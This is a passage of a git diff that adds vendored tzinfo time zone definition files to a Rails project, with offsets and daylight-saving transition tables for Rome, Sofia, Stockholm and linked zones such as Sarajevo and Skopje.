:o8, 1301187600 + tz.transition 2011, 10, :o3, 1319936400 + tz.transition 2012, 3, :o8, 1332637200 + tz.transition 2012, 10, :o3, 1351386000 + tz.transition 2013, 3, :o8, 1364691600 + tz.transition 2013, 10, :o3, 1382835600 + tz.transition 2014, 3, :o8, 1396141200 + tz.transition 2014, 10, :o3, 1414285200 + tz.transition 2015, 3, :o8, 1427590800 + tz.transition 2015, 10, :o3, 1445734800 + tz.transition 2016, 3, :o8, 1459040400 + tz.transition 2016, 10, :o3, 1477789200 + tz.transition 2017, 3, :o8, 1490490000 + tz.transition 2017, 10, :o3, 1509238800 + tz.transition 2018, 3, :o8, 1521939600 + tz.transition 2018, 10, :o3, 1540688400 + tz.transition 2019, 3, :o8, 1553994000 + tz.transition 2019, 10, :o3, 1572138000 + tz.transition 2020, 3, :o8, 1585443600 + tz.transition 2020, 10, :o3, 1603587600 + tz.transition 2021, 3, :o8, 1616893200 + tz.transition 2021, 10, :o3, 1635642000 + tz.transition 2022, 3, :o8, 1648342800 + tz.transition 2022, 10, :o3, 1667091600 + tz.transition 2023, 3, :o8, 1679792400 + tz.transition 2023, 10, :o3, 1698541200 + tz.transition 2024, 3, :o8, 1711846800 + tz.transition 2024, 10, :o3, 1729990800 + tz.transition 2025, 3, :o8, 1743296400 + tz.transition 2025, 10, :o3, 1761440400 + tz.transition 2026, 3, :o8, 1774746000 + tz.transition 2026, 10, :o3, 1792890000 + tz.transition 2027, 3, :o8, 1806195600 + tz.transition 2027, 10, :o3, 1824944400 + tz.transition 2028, 3, :o8, 1837645200 + tz.transition 2028, 10, :o3, 1856394000 + tz.transition 2029, 3, :o8, 1869094800 + tz.transition 2029, 10, :o3, 1887843600 + tz.transition 2030, 3, :o8, 1901149200 + tz.transition 2030, 10, :o3, 1919293200 + tz.transition 2031, 3, :o8, 1932598800 + tz.transition 2031, 10, :o3, 1950742800 + tz.transition 2032, 3, :o8, 1964048400 + tz.transition 2032, 10, :o3, 1982797200 + tz.transition 2033, 3, :o8, 1995498000 + tz.transition 2033, 10, :o3, 2014246800 + tz.transition 2034, 3, :o8, 2026947600 + tz.transition 2034, 10, :o3, 2045696400 + tz.transition 2035, 3, :o8, 2058397200 + tz.transition 2035, 10, :o3, 2077146000 + tz.transition 2036, 3, :o8, 2090451600 + tz.transition 2036, 10, :o3, 2108595600 + tz.transition 2037, 3, :o8, 2121901200 + tz.transition 2037, 10, :o3, 2140045200 + tz.transition 2038, 3, :o8, 59172253, 24 + tz.transition 2038, 10, :o3, 59177461, 24 + tz.transition 2039, 3, :o8, 59180989, 24 + tz.transition 2039, 10, :o3, 59186197, 24 + tz.transition 2040, 3, :o8, 59189725, 24 + tz.transition 2040, 10, :o3, 59194933, 24 + tz.transition 2041, 3, :o8, 59198629, 24 + tz.transition 2041, 10, :o3, 59203669, 24 + tz.transition 2042, 3, :o8, 59207365, 24 + tz.transition 2042, 10, :o3, 59212405, 24 + tz.transition 2043, 3, :o8, 59216101, 24 + tz.transition 2043, 10, :o3, 59221141, 24 + tz.transition 2044, 3, :o8, 59224837, 24 + tz.transition 2044, 10, :o3, 59230045, 24 + tz.transition 2045, 3, :o8, 59233573, 24 + tz.transition 2045, 10, :o3, 59238781, 24 + tz.transition 2046, 3, :o8, 59242309, 24 + tz.transition 2046, 10, :o3, 59247517, 24 + tz.transition 2047, 3, :o8, 59251213, 24 + tz.transition 2047, 10, :o3, 59256253, 24 + tz.transition 2048, 3, :o8, 59259949, 24 + tz.transition 2048, 10, :o3, 59264989, 24 + tz.transition 2049, 3, :o8, 59268685, 24 + tz.transition 2049, 10, :o3, 59273893, 24 + tz.transition 2050, 3, :o8, 59277421, 24 + tz.transition 2050, 10, :o3, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb new file mode 100644 index 00000000..aa7b43d9 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb @@ -0,0 +1,215 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Rome + include TimezoneDefinition + + timezone 'Europe/Rome' do |tz| + tz.offset :o0, 2996, 0, :LMT + tz.offset :o1, 2996, 0, :RMT + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + + tz.transition 1866, 9, :o1, 51901915651, 21600 + tz.transition 1893, 10, :o2, 52115798851, 21600 + tz.transition 1916, 6, :o3, 58104419, 24 + tz.transition 1916, 9, :o2, 58107299, 24 + tz.transition 1917, 3, :o3, 58111667, 24 + tz.transition 1917, 9, :o2, 58116035, 24 + tz.transition 1918, 3, :o3, 58119899, 24 + tz.transition 1918, 10, :o2, 58124939, 24 + tz.transition 1919, 3, :o3, 58128467, 24 + tz.transition 1919, 10, :o2, 58133675, 24 + tz.transition 1920, 3, :o3, 58137707, 24 + tz.transition 1920, 9, :o2, 58142075, 24 + tz.transition 1940, 6, :o3, 58315091, 24 + tz.transition 1942, 11, :o2, 58335973, 24 + tz.transition 1943, 3, :o3, 58339501, 24 + tz.transition 1943, 10, :o2, 58344037, 24 + tz.transition 1944, 4, :o3, 58348405, 24 + tz.transition 1944, 9, :o2, 58352411, 24 + tz.transition 1945, 4, :o3, 58357141, 24 + tz.transition 1945, 9, :o2, 58361123, 24 + tz.transition 1946, 3, :o3, 58365517, 24 + tz.transition 1946, 10, :o2, 58370389, 24 + tz.transition 1947, 3, :o3, 58374251, 24 + tz.transition 1947, 10, :o2, 58379123, 24 + tz.transition 1948, 2, :o3, 58382653, 24 + tz.transition 1948, 10, :o2, 58387861, 24 + tz.transition 1966, 5, :o3, 58542419, 24 + tz.transition 1966, 9, :o2, 29272721, 12 + tz.transition 1967, 5, :o3, 58551323, 24 + tz.transition 1967, 9, :o2, 29277089, 12 + tz.transition 1968, 5, :o3, 58560059, 24 + tz.transition 1968, 9, :o2, 29281457, 12 + tz.transition 1969, 5, :o3, 58568963, 24 + tz.transition 1969, 9, :o2, 29285909, 12 + tz.transition 1970, 5, :o3, 12956400 + tz.transition 1970, 9, :o2, 23234400 + tz.transition 1971, 5, :o3, 43801200 + tz.transition 1971, 9, :o2, 54687600 + tz.transition 1972, 5, :o3, 75855600 + tz.transition 1972, 9, :o2, 86738400 + tz.transition 1973, 6, :o3, 107910000 + tz.transition 1973, 9, :o2, 118188000 + tz.transition 1974, 5, :o3, 138754800 + tz.transition 1974, 9, :o2, 149637600 + tz.transition 1975, 5, :o3, 170809200 + tz.transition 1975, 9, :o2, 181090800 + tz.transition 1976, 5, :o3, 202258800 + tz.transition 1976, 9, :o2, 212540400 + tz.transition 1977, 5, :o3, 233103600 + tz.transition 1977, 9, :o2, 243990000 + tz.transition 1978, 5, :o3, 265158000 + tz.transition 1978, 9, :o2, 276044400 + tz.transition 1979, 5, :o3, 296607600 + tz.transition 1979, 9, :o2, 307494000 + tz.transition 1980, 4, :o3, 323830800 + tz.transition 1980, 9, :o2, 338950800 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb new file mode 100644 index 00000000..068c5fe6 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb @@ -0,0 +1,13 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Sarajevo + include TimezoneDefinition + + linked_timezone 'Europe/Sarajevo', 'Europe/Belgrade' + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb new file mode 100644 index 00000000..10b71f28 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb @@ -0,0 +1,13 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Skopje + include TimezoneDefinition + + linked_timezone 'Europe/Skopje', 'Europe/Belgrade' + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb new file mode 100644 index 00000000..38a70ece --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb @@ -0,0 +1,173 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Sofia + include TimezoneDefinition + + timezone 'Europe/Sofia' do |tz| + tz.offset :o0, 5596, 0, :LMT + tz.offset :o1, 7016, 0, :IMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 3600, 0, :CET + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 52006653401, 21600 + tz.transition 1894, 11, :o2, 26062154123, 10800 + tz.transition 1942, 11, :o3, 58335973, 24 + tz.transition 1943, 3, :o4, 58339501, 24 + tz.transition 1943, 10, :o3, 58344037, 24 + tz.transition 1944, 4, :o4, 58348405, 24 + tz.transition 1944, 10, :o3, 58352773, 24 + tz.transition 1945, 4, :o2, 29178571, 12 + tz.transition 1979, 3, :o5, 291762000 + tz.transition 1979, 9, :o2, 307576800 + tz.transition 1980, 4, :o5, 323816400 + tz.transition 1980, 9, :o2, 339026400 + tz.transition 1981, 4, :o5, 355266000 + tz.transition 1981, 9, :o2, 370393200 + tz.transition 1982, 4, :o5, 386715600 + tz.transition 1982, 9, :o2, 401846400 + tz.transition 1983, 3, :o5, 417571200 + tz.transition 1983, 9, :o2, 433296000 + tz.transition 1984, 3, :o5, 449020800 + tz.transition 1984, 9, :o2, 465350400 + tz.transition 1985, 3, :o5, 481075200 + tz.transition 1985, 9, :o2, 496800000 + tz.transition 1986, 3, :o5, 512524800 + tz.transition 1986, 9, :o2, 528249600 + tz.transition 1987, 3, :o5, 543974400 + tz.transition 1987, 9, :o2, 559699200 + tz.transition 1988, 3, :o5, 575424000 + tz.transition 1988, 9, :o2, 591148800 + tz.transition 1989, 3, :o5, 606873600 + tz.transition 1989, 9, :o2, 622598400 + tz.transition 1990, 3, :o5, 638323200 + tz.transition 1990, 9, :o2, 654652800 + tz.transition 1991, 3, :o5, 670370400 + tz.transition 1991, 9, :o2, 686091600 + tz.transition 1992, 3, :o5, 701820000 + tz.transition 1992, 9, :o2, 717541200 + tz.transition 1993, 3, :o5, 733269600 + tz.transition 1993, 9, :o2, 748990800 + tz.transition 1994, 3, :o5, 764719200 + tz.transition 1994, 9, :o2, 780440400 + tz.transition 1995, 3, :o5, 796168800 + tz.transition 1995, 9, :o2, 811890000 + tz.transition 1996, 3, :o5, 828223200 + tz.transition 1996, 10, :o2, 846363600 + tz.transition 1997, 3, :o5, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o5, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o5, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o5, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o5, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o5, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o5, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o5, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o5, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o5, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o5, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o5, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o5, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o5, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o5, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o5, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o5, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o5, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o5, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o5, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o5, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o5, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o5, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o5, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o5, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o5, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o5, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o5, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o5, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o5, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o5, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o5, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o5, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o5, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o5, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o5, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o5, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o5, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o5, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o5, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o5, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o5, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o5, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o5, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o5, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o5, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o5, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o5, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o5, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o5, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o5, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o5, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o5, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o5, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb new file mode 100644 index 00000000..43db70fa --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb @@ -0,0 +1,165 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Stockholm + include TimezoneDefinition + + timezone 'Europe/Stockholm' do |tz| + tz.offset :o0, 4332, 0, :LMT + tz.offset :o1, 3614, 0, :SET + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + + tz.transition 1878, 12, :o1, 17332923239, 7200 + tz.transition 1899, 12, :o2, 104328883793, 43200 + tz.transition 1916, 5, :o3, 29051981, 12 + tz.transition 1916, 9, :o2, 58107299, 24 + tz.transition 1980, 4, :o3, 323830800 + tz.transition 1980, 9, :o2, 338950800 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 